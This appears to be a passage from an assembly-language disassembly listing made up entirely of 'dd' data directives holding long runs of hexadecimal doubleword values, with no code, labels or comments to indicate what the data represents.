		dd 5BC51D1Fh, 72B8AF8h,	106C01E4h, 2025D3E5h, 11FF6A0h
		dd 401BECF2h, 48B1C810h, 0B01358E0h, 68C6FBCh, 50778474h
		dd 8F00997Bh, 0AED6C0DFh, 0EB30931h, 506A9A42h,	0F64992A0h
		dd 3B20CFF5h, 38C52411h, 809B1158h, 0F7C00D24h,	80008734h
		dd 0A86C0D2Ch, 959C00D6h, 8312FCDAh, 50699656h,	8981F98h
		dd 0E6141FFh, 0E3D8931Fh, 9B19C7EFh, 785B20AAh,	97B8F0A9h
		dd 0E320F498h, 2874EA03h, 0CBC5513h, 937CFF6h, 0D9009C18h
		dd 69E39AAh, 2942391h, 50F4DFBBh, 0D045D812h, 0A06765E4h
		dd 5AAAF75Ch, 72C2B80Ch, 28FAF873h, 6DC0FC8h, 0A3D3C59Ch
		dd 28916004h, 0A9185FD1h, 0EB2E71E4h, 0F482907Fh, 4062E4D7h
		dd 0E9FB6D40h, 0C7F2A221h, 60724480h, 5CCE3C6h,	73E7F7E6h
		dd 3994D126h, 0E90C307Ch, 0A25988h, 520BDA04h, 0EFADB96h
		dd 0C0DCB148h, 3688F870h, 0B824019Ah, 893E69FFh, 0A95BECC0h
		dd 0EFC4AA18h, 189DF5E8h, 59F4CD7Ah, 2E147837h,	49017E2h
		dd 66E7A4C3h, 120998C8h, 23D9EC7h, 5E3FEB8Eh, 7488808Ah
		dd 0D3007146h, 0A58A4FB1h, 0ECF8D7F8h, 72E42F2h, 0A1425CFBh
		dd 1CBCA05Ah, 9C7804h, 2F649145h, 4C4D3E07h, 41A4BB03h
		dd 1DEEE4AEh, 0C08104C1h, 8FF24798h, 0FB35F669h, 0DC6FA917h
		dd 62CA6300h, 0E3870306h, 3878CB24h, 0F6714E18h, 0E7FC1EA4h
		dd 42D440A5h, 59B80B71h, 0FAB7F383h, 790C407Fh,	41583303h
		dd 0C8A5B918h, 7F246F5Ch, 3BF4C489h, 47A660A1h,	0F4460190h
		dd 8766E8C7h, 0BBE36B70h, 5D2039F8h, 2DD78A00h,	0E668333Bh
		dd 9E2200FBh, 86B91934h, 230FB1DFh, 0A5EEBD60h,	80CCF8EDh
		dd 0A7048C2Bh, 0A47095BEh, 0B3200162h, 66BEADh,	10EA5AF5h
		dd 0CFF4B0C6h, 98670830h, 73A675D7h, 52184E59h,	8098DB04h
		dd 0C50F6F85h, 0EE321F17h, 0B7FE82F0h, 0C48B50EBh, 89FD2C01h
		dd 5EC500F9h, 4C0A2558h, 6891249Dh, 0E0E07F8Fh,	92C853D9h
		dd 15BE8D3Ah, 8CEBE3h, 0C3CFDAFAh, 0FCF8800Ch, 354E3A31h
		dd 0C249480Fh, 0F9264CB4h, 602D64BCh, 2197BEA5h, 0B5C0D470h
		dd 1B6BEABh, 4B9E72FCh,	20646B75h, 6E6058CCh, 0F7C520A9h
		dd 1846E039h, 197F1869h, 7418C38Ah, 0F4305393h,	50B25E7h
		dd 4312A801h, 38386187h, 8C69BC5Ch, 0C3C69800h,	0F897BDB8h
		dd 0D4EE5CB7h, 4708E424h, 33E1D1EAh, 68C1D85Eh,	14A35400h
		dd 2693341Ch, 3FD501C9h, 0B77CC3A1h, 9A0B963h, 0E53AC81Fh
		dd 606BE410h, 1AA060Ah,	7D3E5EF8h, 0A69B7259h, 0AB113C21h
		dd 63844909h, 0C0980441h, 48B20AF7h, 2BB0C800h,	8B6A3762h
		dd 0A8291259h, 7CC40731h, 4861CF5Dh, 4F59A94h, 7F2F9081h
		dd 0E010F104h, 15845593h, 0D4CF6CC3h, 8B0C5D13h, 0C052C8A0h
		dd 71CE1EDFh, 0CB14CF12h, 7CC86Eh, 0CE9D10ACh, 9FC87F0Dh
		dd 2949h, 3465B73Eh, 3BFCA208h,	5E0FA0EDh, 4820C37Ch, 27BC13AEh
		dd 0DC216B4Fh, 0CF8A7C0h, 0C52201FFh, 50A14032h, 0F2F472D0h
		dd 0B4F930FEh, 2645313h, 85239CC0h, 9867507Bh, 0E4B11896h
		dd 4DD331EAh, 0AB36040Eh, 2CB440AFh, 169C2A48h,	0C5F4426Ah
		dd 0C8908B30h, 5F47C06Ah, 360BA224h, 6CDDC446h,	5EE89624h
		dd 2095246h, 1066E434h,	0CDED0901h, 40A63E1Eh, 6DBCD03Ch
		dd 4E64048Ch, 0C16360BFh, 66D154A4h, 5409F068h,	0D05532CEh
		dd 8833C440h, 4EF4A332h, 40D02C80h, 0E9329200h,	71D938DCh
		dd 0F30627FEh, 60AC7CA4h, 2D283DBDh, 0C16CDC3h,	0B4C48F2Eh
		dd 0E3091700h, 30AF6FD1h, 8C696B58h, 0E416A43Ch, 0AF00C05Ch
		dd 70A91672h, 0E3E707A1h, 71A66C26h, 38506FF3h,	0A4590874h
		dd 87C51128h, 0F4D23297h, 6010D168h, 3F329F3Dh,	3B566002h
		dd 0DB82C0C9h, 18695150h, 6BE116BBh, 0EFA1023Fh, 2440F407h
		dd 7B259D23h, 0BD80046Dh, 89671CC1h, 0A0000907h, 46DC036Bh
		dd 0F11FD0C2h, 79507152h, 0E2EA1866h, 0DB7F01F7h, 0A0B728Ah
		dd 0C98C422Ah, 12329330h, 3988F4A8h, 32C54014h,	0DE06B901h
		dd 3C500B6Ah, 9E298h, 12FCA95Ah, 5C3DDBE8h, 0C4FA2AFEh
		dd 89803416h, 4106C3Bh,	0FF84C042h, 24B75E67h, 0B70966Ch
		dd 109F79A1h, 8D856D91h, 0A754E457h, 34440500h,	0E7949B2Dh
		dd 0D96D0C10h, 0F217758h, 0CDEE5103h, 0B828386Ch, 7412C83Ch
		dd 0CF1800DFh, 0D993A2F5h, 0D300C3DAh, 6B1CA0A4h, 2BBFDD8h
		dd 0D097D64Ch, 0F442225Fh, 7C07EC02h, 60B4A005h, 8948651h
		dd 3684656h, 0F1920C26h, 0D8CE93B4h, 0C26C1B98h, 7059BD98h
		dd 0A900CC66h, 6A5681ECh, 48F4CF6Bh, 54E8CCA3h,	6C87018Ch
		dd 0F2D6049Eh, 0D07AFC37h, 6BE83854h, 3DFC0B12h, 0DF1D081Eh
		dd 3CD8D1BFh, 8C01BC94h, 30EC4730h, 3A5D84Eh, 2D2FCB1Fh
		dd 8E942533h, 0C0648880h, 1AA42943h, 4FDF1303h,	3E08839Ah
		dd 618A3E58h, 84982237h, 0A231FC07h, 0E2905208h, 0E0A03170h
		dd 0D7289CC5h, 0F817F85Ch, 6E1C7FE7h, 0E91BE3CDh, 0FBBCE838h
		dd 8FFF018Ch, 1677C22Ah, 7862DC35h, 0B34D3904h,	3CA3F664h
		dd 84026E00h, 613D90C4h, 53B37802h, 409DF9F2h, 4A41C510h
		dd 88BC8BD7h, 8817C068h, 2001BDD3h, 75232921h, 0E8895887h
		dd 2812FA72h, 1C4288C0h, 6B740116h, 0E22CD8C0h,	0F71F1850h
		dd 0B659B8C8h, 80384C4Bh, 3094A4CFh, 44817C51h,	2C3EEC7Dh
		dd 0CCF0926h, 37300B7Bh, 9B0F8B30h, 0CF9DD600h,	0E5794601h
		dd 8923FD31h, 60A7BF8Ah, 288BC9Dh, 2B7A6742h, 6E34483h
		dd 0FE5D1907h, 68608CC1h, 1C1695F7h, 0D29B7A27h, 0C0980453h
		dd 0FB103E97h, 0C523C741h, 6AD6F531h, 7D0B58BCh, 3C605BEFh
		dd 23EFC879h, 2FA416D4h, 0DB625C90h, 0F9F105FCh, 5C62967h
		dd 0E093EFE1h, 0E5B06C50h, 0A821885Ah, 0D90360DCh, 2EA080B4h
		dd 0C50D29A9h, 704B6FA4h, 96195086h, 0E2F2115h,	91589718h
		dd 0E84E8755h, 0FCD77510h, 7A620A25h, 0BFA824CBh, 0BD0C7724h
		dd 0A0819900h, 94BB3CC2h, 3DAE8704h, 0C091179Dh, 0C1807658h
		dd 1BBBF355h, 53AB328h,	203A83B8h, 4694A3h, 0A9E1A779h
		dd 0E2230D56h, 0F842CCFFh, 0ED1FCF16h, 8E3D806h, 3C7181h
		dd 0BD9C0455h, 0C66FF75Ah, 0CF5DAB00h, 51CC30C9h, 0AAA1C075h
		dd 0EFE6D4F9h, 827E7100h, 6150CDABh, 45F43072h,	0A447CB79h
		dd 0EC35EE00h, 2162E403h, 608495B2h, 6C05138Fh,	48B063EFh
		dd 9B751843h, 0FCA1E065h, 0E9000D73h, 119E51B4h, 6CE187Dh
		dd 0E4CFF4DFh, 12FA408Dh, 0FF0120B6h, 0CB405F96h, 0C007E3E8h
		dd 0E9CA2AD1h, 0D57BC09Bh, 2DF4DC00h, 14A812C6h, 85420A22h
		dd 74E4BBF5h, 0D61F5646h, 4A634088h, 7958EEDBh,	0C5F9C8A8h
		dd 0CA33C700h, 0CC031729h, 0A610095h, 81FA1BDh,	0B33CEAFCh
		dd 935F394Bh
		dd 0CC3F897Dh, 0A91D6423h, 0E544218Fh, 0CCF2E375h, 0B0E1D700h
		dd 0FB769792h, 584483Dh, 48D60DEh, 60F204B2h, 6CB39533h
		dd 0C834CB4Ah, 0D09CC06Ah, 86185D2Bh, 13C97458h, 34AE00F1h
		dd 17ADCCBCh, 6F5E59EAh, 0E031C4Fh, 27C48232h, 8D04E09Ch
		dd 0E4F00BDCh, 74485777h, 48FE036Bh, 5A7908A0h,	0D664DF09h
		dd 51750195h, 7C33D445h, 0C41FEB1h, 43C70FF8h, 20B76E36h
		dd 3806C840h, 0BDB43A01h, 27FD294Fh, 0FE014068h, 0C7F6F40Ch
		dd 0FB43807h, 1AEC9DCh,	67862965h, 50309C08h, 0CFDB516Fh
		dd 8B3900B6h, 0AD96C828h, 821ECA06h, 0B94015BFh, 50DCB3A9h
		dd 8331C073h, 1A60E574h, 0E87F9307h, 0BCE1A518h, 0F044569Bh
		dd 3BE034F6h, 810019E3h, 0DE39D857h, 4BC88D7Bh,	58EC1897h
		dd 3B27EFF8h, 0BB2CA202h, 0C7DB006Bh, 0F54BBC25h, 410FE5F8h
		dd 4284A3EDh, 8074A8AEh, 7ACF8E89h, 67C1F1D7h, 0E3279878h
		dd 20407C20h, 95F6F62Bh, 6A2A721Fh, 603A934Bh, 0C0F8E478h
		dd 97FFBD29h, 180A5CFEh, 0CC6A597Fh, 0F74C024Bh, 0F96C62F9h
		dd 39FFC1C0h, 0E8C304F9h, 60D7D150h, 4E6C0B2Fh,	13D9CC10h
		dd 73262B13h, 0C6A5A430h, 0A04F0007h, 1E538139h, 0FC5BA312h
		dd 523206Ah, 72FD6B00h,	0AE9F1D2h, 7FCF7A26h, 0DA02F428h
		dd 94C7FEFFh, 788CD05Ah, 81B09C07h, 0F9CC32Bh, 0C28C445Fh
		dd 88A07914h, 4DEB8543h, 143A18CEh, 26E85C20h, 4674948Ah
		dd 7B675053h, 7EAC3705h, 0B0407251h, 0CB4E1620h, 8C750Bh
		dd 0F8A3FB44h, 1F075BACh, 80D7504Eh, 8A08B970h,	18FB070Ch
		dd 0C473173Ah, 87F8B8D7h, 0E3A10A20h, 4BCACFC1h, 0CCCE5F4h
		dd 0F8264010h, 0D407F4A6h, 400299FFh, 0F7495E01h, 8CDE0A5h
		dd 7299AC0h, 1018B82Dh,	2D7A4B74h, 0D1EC09A0h, 5C590020h
		dd 5E8BBB13h, 2A23F505h, 0DCA45F98h, 60E58AC0h,	876569E4h
		dd 0F1A7F294h, 8878040h, 50C40397h, 82290074h, 0AA010FFBh
		dd 233EEB35h, 988485A5h, 10B32750h, 60918064h, 25D60D2Ah
		dd 0A01604F7h, 0D32BA00h, 2DA0EB31h, 284B57h, 6235106Ch
		dd 32054978h, 0F571898Ah, 789CD0B4h, 0C04EECD9h, 10BA9B11h
		dd 89126BC9h, 0D8A06F57h, 0E4179714h, 1E806511h, 2B19795Ch
		dd 2C560C2Eh, 820A112h,	12395Fh, 0DA71C8B1h, 0E429F9FCh
		dd 2DEBBCE4h, 15DB81Ch,	0B510FF6Bh, 8044A0E0h, 561C8F69h
		dd 0F0324EA3h, 3A84A060h, 0D72F0083h, 0E7F0195Ah, 0C71274A9h
		dd 480B9580h, 467864BCh, 0BEAA023Ah, 51BC7094h,	0B0B66094h
		dd 23003FBEh, 2EE24AC6h, 95E36105h, 0B3741020h,	0BF14CDAFh
		dd 8384C3A6h, 94777D3Bh, 4047E4B4h, 324AC50Ch, 6DC8BCCBh
		dd 0F7F857C0h, 4882E15Bh, 947D510Bh, 99070452h,	0D0C7D44Bh
		dd 351A2A7h, 0FC3C82AFh, 6DA2BC43h, 13486C30h, 20501456h
		dd 337558D8h, 4CC7824Ch, 78181FBBh, 29ADC600h, 1F36B3h
		dd 0A1D941B0h, 5BA52DEEh, 0EC42684Ah, 5977CBE1h, 3078490h
		dd 0A78C8183h, 540A0954h, 2FC16488h, 29F89C04h,	5B26000Ah
		dd 0BFF49B21h, 68D67894h, 0E4F29084h, 56C078E7h, 1FD00E13h
		dd 8118E9B4h, 0E8E2593Eh, 0F2E022D6h, 0F70C306Dh, 0F45FC72Ch
		dd 0FF0250A8h, 0CAF3749Eh, 4380DA6Bh, 0FC9A4E83h, 5C60DE8Bh
		dd 884BDFF4h, 7AA0B805h, 6BE27CA3h, 125A4D30h, 40EDE392h
		dd 0EB1F8078h, 1771DC8Bh, 94B66892h, 0E0A501D6h, 0E370030Ch
		dd 0A8026A13h, 67F4E4BCh, 606B4490h, 136FB2E3h,	0B25F5E62h
		dd 3068F250h, 6300F1D7h, 92C12BBh, 0B01939E2h, 0BE80E4E4h
		dd 5EECAE20h, 43005646h, 0D49AD6A4h, 0A87ED0EBh, 42B8B727h
		dd 2078D230h, 6B097FADh, 0F93DF003h, 0BCE54994h, 0AD605264h
		dd 10072FAh, 870438E1h,	96F90BFEh, 9F38DC2Ch, 35E680BBh
		dd 28C8E882h, 59A40D87h, 60295174h, 0CE5BFBB0h,	5123143Bh
		dd 5D760602h, 44847E5Ah, 52233FE0h, 0F5780025h,	4AFAABCFh
		dd 0F6D4981Bh, 16FBC710h, 2C659527h, 184205E2h,	96746815h
		dd 4E74C339h, 7E8404C2h, 31226624h, 97E4F909h, 6BA0703Eh
		dd 0A84DD99Fh, 2A73B2E0h, 84C31393h, 0ABE8836Bh, 6D39C5C9h
		dd 1AB874h, 9FD96E08h, 0AFA60A5Fh, 3D5EA73Fh, 84D2DA50h
		dd 7BA0C2F6h, 6AC2586Ch, 1904F05h, 5CF03F74h, 0F6D00E24h
		dd 2AE1C122h, 0AE53A99Dh, 7716D4C0h, 0D616F08Eh, 0CA84CE40h
		dd 1A414405h, 413E57A1h, 78E672A0h, 0AAEC8061h,	91DB3F0Eh
		dd 6414B644h, 0B6A8A44Eh, 0AA003C70h, 0EE6CD785h, 24B9681h
		dd 0D1C9DFE3h, 0BB207751h, 1F855E1Bh, 0C16305DBh, 0A5436E94h
		dd 0F813FF7Fh, 1CF327A3h, 0FC8780Bh, 886DF462h,	276067C4h
		dd 1C0BDC9Ah, 9B0CA02Ch, 0D57FB854h, 0F98BA111h, 23EC2F3Eh
		dd 0C3893960h, 34504F7Ch, 0E8FF7227h, 606E59D0h, 0C8988978h
		dd 0B890EB67h, 0ADD86C09h, 3B649194h, 0B459DE8h, 2A3E6EB0h
		dd 0F0C57F0Bh, 1841FDC2h, 56006C86h, 0E0C4D1DEh, 17887039h
		dd 16C7CFF7h, 0A274A3B4h, 9E073054h, 85CFD814h,	8C54E890h
		dd 2C711A01h, 390956D3h, 9298BF0h, 0D06B2279h, 85CA6C00h
		dd 155834AEh, 8C53E824h, 8FFD900h, 10784B1Bh, 478725F5h
		dd 5EC5F040h, 6BD1C4B1h, 95022B18h, 0B7A4C582h,	10585059h
		dd 2045FCFh, 8A4A61E3h,	44FC4749h, 0A5A66101h, 486BEFFCh
		dd 0E4488DECh, 0E28C57E8h, 379F38A1h, 0A6154000h, 0F60735E3h
		dd 0F302F0B1h, 766D7CB7h, 0E25A038Ch, 0FDC4F93Ch, 9C9AD74Ch
		dd 8B00438Eh, 0C33E7154h, 163AB240h, 0B6D0325Ch, 3BE4B0BCh
		dd 0FA3504D2h, 0B494AF2Ah, 0B600A168h, 2F9A5B85h, 2862B9ADh
		dd 2FC5456Ah, 0F009948Ch, 0FFC45C45h, 0E01E6E61h, 10B5DC7Fh
		dd 0BC9BA14h, 3F1A94F7h, 0DC83F840h, 8804179Dh,	346041FAh
		dd 43635C5h, 40E61B6Ch,	2CF276h, 823A8DA3h, 0F02451EDh
		dd 0B8E130E7h, 0C22C8570h, 18876807h, 0E34E02AAh, 0E8E51EC1h
		dd 0CFB8820h, 0CB7FC5E6h, 21C11A08h, 0E585DD44h, 196C9ECh
		dd 9501BF10h, 0CC125077h, 2D0030E3h, 87691FC8h,	3C6476C3h
		dd 8B83688Dh, 0A8C9180Ch, 4E0078C6h, 0FEC1C56Fh, 0F219E286h
		dd 64B06DFh, 9438B23h, 221DE60h, 1EAFC212h, 47F36ECBh
		dd 7E07FAh, 0F1048245h,	0E73711FCh, 0A6F0A08Ah,	657851Ah
		dd 2E60610h, 0A4600908h, 8512C621h, 1E597EC8h, 536244CEh
		dd 0AB5C0677h, 0C20E70D6h, 6EB925A7h, 2D6D6046h, 0BCE1EBh
		dd 0C65FB7D9h, 269E6A3Ch, 3F29CE48h, 56781F8h, 0BE1412D7h
		dd 7296B7F0h, 1BF33152h, 42E5C688h, 0E03013B4h,	881B1185h
		dd 801488D3h, 6F85D83Fh, 281817ACh, 2BE8F04Dh, 0AAD618FFh
		dd 56E1A9C5h, 4B1A4A01h, 42C6AB43h, 21DC0998h, 4A004F01h
		dd 0C1D27369h, 9D6ACFh,	0C54328C3h, 8814F4C9h, 0E45F3C00h
		dd 2C218DA4h, 4F0F38FFh, 0CE404A8h, 0D4CC94C0h,	430FEDE0h
		dd 0E012BD90h, 6B1BFE5Fh, 858900C8h, 0C8895C1h,	48DEE317h
		dd 996C4705h, 1264FC00h, 662BABB2h, 0E1E6D890h,	43E3FE00h
		dd 6C8E5FAFh, 4D7F03C8h, 0D24AE09Eh, 0CC2C77E7h, 9CE9CE40h
		dd 1F4C0D30h, 184BD8C3h, 20A64077h, 53B2489h, 6A069C19h
		dd 3E85607h, 3920020Ch,	8925C35Eh, 810C97D4h, 0C01C0844h
		dd 0C3564621h, 0B400969Ch, 0A9C8284Fh, 7081E203h, 240160E3h
		dd 18D9B58Bh, 0DB0B60C0h, 8BD8850Fh, 0E537023h,	8944C35Bh
		dd 201A625Ch, 0AFC35343h, 64521300h, 0F70C56Ah,	2106608Ah
		dd 327DB503h, 811B6CDFh
		dd 0BD838017h, 0AA053756h, 5384D32Ah, 0B0798346h, 0E33C9DCh
		dd 0CFFE2130h, 80E97B02h, 615029A4h, 89C8C358h,	40008744h
		dd 723AC350h, 0CABB0038h, 0A38E909Dh, 0B531BD8Bh, 85C7CC04h
		dd 0A4016042h, 59615134h, 5B62CAC3h, 10193411h,	0FC35141h
		dd 329FE5CFh, 26E9EF83h, 0F601D75h, 44F47C0Bh, 0C5270150h
		dd 8F96992Bh, 34146013h, 70448652h, 0F1415189h,	5E002265h
		dd 28919D8Dh, 0FF238103h, 0F63A97FEh, 1B4674h, 65871D82h
		dd 0CAAFD16h, 0DB8C66DCh, 398C554Ch, 8911C35Dh,	8014886Ch
		dd 0B5C35545h, 0F675F78Bh, 780220FBh, 17E4A5A7h, 0D0D26061h
		dd 951AFF7Bh, 17F0071Dh, 80171172h, 0C10EDCE7h,	3052E250h
		dd 0F91F11E8h, 0CE0078BEh, 486089D3h, 265E24DEh, 37C661Ah
		dd 0CE8D507h, 865B2D00h, 558EAA77h, 0B1EF03C1h,	5E5680EBh
		dd 5A310F88h, 4074190h,	8BE9F524h, 0BDCE2159h, 0B0033461h
		dd 4E70E681h, 0C0168887h, 0E470F458h, 57407164h, 0C8C35F61h
		dd 80917C89h, 0C35747C0h, 480A0062h, 537775E8h,	8B26C493h
		dd 95098EFEh, 0B6E8222Bh, 44AF47D8h, 29306014h,	8E5328Dh
		dd 5F44BA4Ah, 17C45685h, 0E542CE61h, 9589D82Dh,	7D11E924h
		dd 0E48BF88Fh, 58C8820Fh, 24B7EE60h, 40B0E8F2h,	12BA58C6h
		dd 0E171D00h, 0B8A28C0Ah, 53A1003Dh, 1615E95h, 55C0F19Dh
		dd 6604E8C1h, 37E71D81h, 0E2F749A7h, 17117F1Dh,	9AA26680h
		dd 0B60E9C1h, 0D6268219h, 82A1FB6h, 0C6DE8091h,	3ECE81E4h
		dd 151F710Ah, 4676B92Bh, 35420218h, 405F5A70h, 83133132h
		dd 1D8DBFE8h, 8914547Eh, 0E8C1241Ch, 0C4008C1Bh, 3B8C8C1h
		dd 9A106163h, 0FF03E996h, 0C84A2DAAh, 1B11669Dh, 195FC180h
		dd 2C0963A0h, 689DFCEh,	105F181Eh, 90295995h, 8C17B88Dh
		dd 62431A01h, 9E9F8EDh,	0F1221B80h, 18607929h, 25DB2D12h
		dd 0D5E8C70Ah, 0D69D0840h, 9A790093h, 0CB3606B6h, 0BF096672h
		dd 0A5F262Eh, 46740BDCh, 6BCC0A16h, 1080350Fh, 785B31BEh
		dd 8E945845h, 8B30912h,	8ABF066Ah, 8114198Dh, 71097C2Ch
		dd 0CE510053h, 5E676Bh,	0E59AD9BEh, 0F613C5Dh, 254831Ah
		dd 0E3016D3Ah, 36C80E56h, 90FE4816h, 0F74DA990h, 86507607h
		dd 0DF04814Ch, 60EA2920h, 1CC8F19Ah, 0C94166C0h, 0B4C604AEh
		dd 9793BCBFh, 55113EEDh, 88304ECDh, 906DC414h, 858B60E4h
		dd 4C565949h, 665B4149h, 0C361245Eh, 110DE80Ch,	2FDB007Fh
		dd 912617A5h, 450D7188h, 518EF743h, 0E80116E9h,	9B338008h
		dd 25CD8C6Bh, 0E4BD02DBh, 585F615Bh, 0E6E1BFEDh, 0C2609C9Bh
		dd 0F2D1112h, 0A8DE7089h, 15C8805h, 1488AECFh, 5E8CBC1h
		dd 0E08C1380h, 81AC2504h, 3DDDE3Ch, 0B95E60A3h,	3E235807h
		dd 162F1510h, 6A44C183h, 3B0425FDh, 131282D9h, 615249A4h
		dd 89C8C35Ah, 0C09AB954h, 2DC35242h, 94A61202h,	0E1F5176Bh
		dd 7888D941h, 0F60B0439h, 0A829A4C1h, 220A2956h, 3019E213h
		dd 0A7049B1Fh, 5BE63817h, 1A88348Eh, 38B4E9C0h,	5BF5171Dh
		dd 2DF2307Ch, 73009695h, 0BE57558Ch, 0ECCF79CEh, 2C5BF088h
		dd 8239C32Bh, 343DE9E2h, 0A405244Ah, 0F1BB2338h, 0F4868F3h
		dd 8C19E83Dh, 3E77CA02h, 0C634841Fh, 793C074Ah,	0C0A9E3FDh
		dd 0B9CA0F8Eh, 0C08B1B13h, 0A102706Fh, 12E975C6h, 30D81320h
		dd 0A5E13DDCh, 0AD4FDF80h, 0AECF6CAAh, 0FEBAAC09h, 4BF60E92h
		dd 801F37D8h, 0D052C7F5h, 0B82E6D94h, 0FE84026Eh, 924005E8h
		dd 99ACE36Ah, 6422F5h, 6492886h, 0B8F9DE97h, 0E8615ADBh
		dd 23032411h, 37297502h, 44686758h, 8AF46214h, 4674F8A1h
		dd 553C0F16h, 11BDCBC7h, 0B786D0ABh, 2D5B850Fh,	0D7701BBBh
		dd 57360747h, 70EE815Fh, 0FF503BC6h, 90E18559h,	8C15B8FBh
		dd 25B97F5Ch, 868F298Ch, 0B00D0643h, 31E52EB0h,	2DED7216h
		dd 9D87445h, 639D7189h,	31900C01h, 0BB0D19E9h, 99BD120Eh
		dd 406092C2h, 7CE8C6B0h, 0C08576DBh, 0C894BB83h, 6162168Fh
		dd 86324D4Ah, 0D0D2Bh, 0F322BE66h, 1E559501h, 46763B96h
		dd 0FD60A14h, 66121A8Ah, 8008EA48h, 412BADB6h, 0A42CB554h
		dd 3C9B51Eh, 561CA97Eh,	0F8F0487Ch, 0BF04F38Bh,	2FA7105h
		dd 0DFE0C4A6h, 9A539349h, 301BA2DDh, 0CD037F3Ah, 8421F666h
		dd 41D61046h, 0BFDA500Ch, 8915D674h, 50D03195h,	2A418D1Dh
		dd 4DE2092h, 0A261C3EDh, 0D58E00F0h, 0B68C3E12h, 83190050h
		dd 5A2F0AC3h, 0B0C4AF4h, 652ED5BDh, 13F39061h, 8EF713E9h
		dd 0C715C891h, 60DCBAE6h, 0AED9F8DDh, 0BD9F561Ch, 1B10B03Eh
		dd 6541EAh, 2B5A5460h, 379AB084h, 0A480A900h, 0C18B513Bh
		dd 5DB52489h, 84EB9366h, 889CCF12h, 275FC01Bh, 1C04A7BAh
		dd 0F9FFA4F4h, 0ABEE7C80h, 0E6BF0057h, 8D60878Ch, 2C4EAD85h
		dd 3502A07Ah, 2926C949h, 2067FE1h, 58684250h, 78229379h
		dd 6A4C08E2h, 8C1CEC6Dh, 0CB82B00h, 0D1840DEh, 2953050Fh
		dd 1E28C995h, 178B8874h, 9F40C0AEh, 0B9BB5Dh, 68FC154Ah
		dd 0F17AF46h, 5F898770h, 12329947h, 0D1D9D1AAh,	7D1816h
		dd 3BE646Ah, 83499F76h,	8105C024h, 16198508h, 0BE583090h
		dd 563A84B1h, 899681A5h, 505F100Dh, 0BA6430h, 1FB986D4h
		dd 617E94F8h, 6BE9902Ch, 7287234Fh, 1093F9A3h, 91F3A754h
		dd 0ED301DA2h, 712D007Eh, 0E1E74670h, 5B98C13Eh, 12C1FA4Ch
		dd 213E1245h, 8E001C23h, 5B652A45h, 4F93120Ch, 69FC0491h
		dd 9D8D0032h, 81A994FFh, 10843680h, 230A2E45h, 899E95BDh
		dd 108AD3FFh, 6D8505EBh, 0B2AEB312h, 63D8331Dh,	0FB02531Fh
		dd 0BBA8262Ch, 0C53B635Ah, 609C0C2h, 5DE033E8h,	69ED8112h
		dd 510C0E7Eh, 0ADD0B173h, 63FC80A9h, 3286CEFFh,	0C19BAC84h
		dd 9D80C9CEh, 9998BA1Eh, 0BD89B50Dh, 85D875E5h,	0C0B6015h
		dd 0A799D8Bh, 41A5B588h, 0D7336C20h, 0E307916Eh, 0F24C785Ch
		dd 4FF2C698h, 15F2D643h, 98977C30h, 0B3DD6BA4h,	71440Eh
		dd 9FACD781h, 17837FB3h, 881091BDh, 608A2A4Ah, 25EB3AF2h
		dd 0B13DA9E9h, 0D5D7F481h, 262891B1h, 0A7013740h, 601D642Bh
		dd 0CC078Ch, 0F0E38ED0h, 6034164Ah, 1891F2C4h, 0A4ECE618h
		dd 703D0E2Ch, 0FCA84614h, 22398C18h, 402F4CB5h,	518908A5h
		dd 40CDC760h, 70A45F05h, 0B0E214E1h, 0F5838B00h, 1234FCE1h
		dd 8D220712h, 0A80B2A35h, 9656CEF8h, 7F17D45Dh,	5185F08Bh
		dd 1523893Ah, 8B8AB801h, 636521BDh, 5589566Ch, 686768EFh
		dd 0DA0602F0h, 411812C4h, 0B832050Bh, 394B8187h, 9A6EA515h
		dd 4D515Bh, 1798A89Dh, 0E72472A3h, 4908C15Fh, 66500130h
		dd 6553BBBFh, 91BCACB5h, 0D5FEE943h, 19235A3Ah,	37E7AC00h
		dd 0B8E994ECh, 521DC092h, 27121401h, 28957700h,	86A82B8Eh
		dd 71D0F8F6h, 5C76F4EDh, 18EC5AB0h, 78C0008Ch, 8B4509F0h
		dd 700DE6F2h, 2502880Fh, 28E4F7E8h, 1E48E871h, 0C00ADBFCh
		dd 8EA803CFh, 43007EABh, 0BABF42E6h, 0E9ED778Fh, 0EFF8920h
		dd 5E33BC7Dh, 7308C6E0h, 6BBC5F8Ah, 19F3725h, 0BA7AB1DCh
		dd 0F2E82306h, 0FB993018h, 2A10C212h, 8BF98407h, 11801DA9h
		dd 87D58115h, 49EE8D09h, 9368F95Fh, 4CB12746h, 12820F8h
		dd 9A3C1941h, 2B85A46Eh, 1C776BD8h, 0E7C1CE68h,	0A9BD0B14h
		dd 85B7E7Ch, 931229E4h,	0F5B3730h, 0DF581ED1h, 163187E4h
		dd 543760E1h, 0DE0CF793h, 250AA59h, 11BF0152h, 0F7869C3h
		dd 9D8C2031h, 585A210Bh
		dd 0C0024D93h, 2DC2C694h, 0D86B4D24h, 0CDB75409h, 601B6459h
		dd 92D5E41h, 0B435EED1h, 0BEF3DA00h, 0F82F1C85h, 17703A6Ah
		dd 801911DCh, 20C42209h, 0E91118D2h, 0AE5A1D0Eh, 73BF5100h
		dd 775C70C7h, 8CB70EB0h, 0CEB62D79h, 0C1178816h, 0C4F00915h
		dd 0CBB98D0Fh, 3010C5ACh, 9BFE050h, 3EBB076Fh, 2F997682h
		dd 114E30Ah, 0B60920FBh, 0F8A49156h, 0C474010Dh, 0C8547E02h
		dd 66EF2555h, 2870F0FDh, 74930003h, 711A1B32h, 8A4A0F47h
		dd 36BFCB47h, 6638AD72h, 0E0D98D01h, 0F0C5EAD7h, 0E84A7C08h
		dd 8D268110h, 0EC53800Eh, 6A008FF7h, 0BA4F56DEh, 5E5B543Fh
		dd 0B78A045Eh, 8EF494FEh, 0C11688F4h, 25F1CF55h, 0F19B36EFh
		dd 90217FF9h, 0D3199C5h, 0D64335h, 5EF85358h, 0B4904EBCh
		dd 7E6BD6h, 1D64B21h, 9C951B0h,	0E897DC9Eh, 21E07213h
		dd 89E6359Dh, 1E105600h, 0C151AB7h, 40D19C85h, 0AA63F6E8h
		dd 2FDB4238h, 67670997h, 671AC4B4h, 1427A9C0h, 1C8105E8h
		dd 0E1F98B66h, 156C2086h, 5E86DA8Ah, 23CF3E33h,	85DB1F18h
		dd 0E1294AC5h, 9E6E2B84h, 0FE029944h, 0F2E20BE6h, 0A3C41B44h
		dd 4D2DBE69h, 0A780CF60h, 0E18D89F6h, 0A56C315Ch, 0EB81D184h
		dd 0B7280482h, 2B95A081h, 0F2FC76C3h, 1A93F386h, 0FFB1F5Eh
		dd 0A038BE71h, 400BD280h, 0D42E32CFh, 508BD7Eh,	4FE90D34h
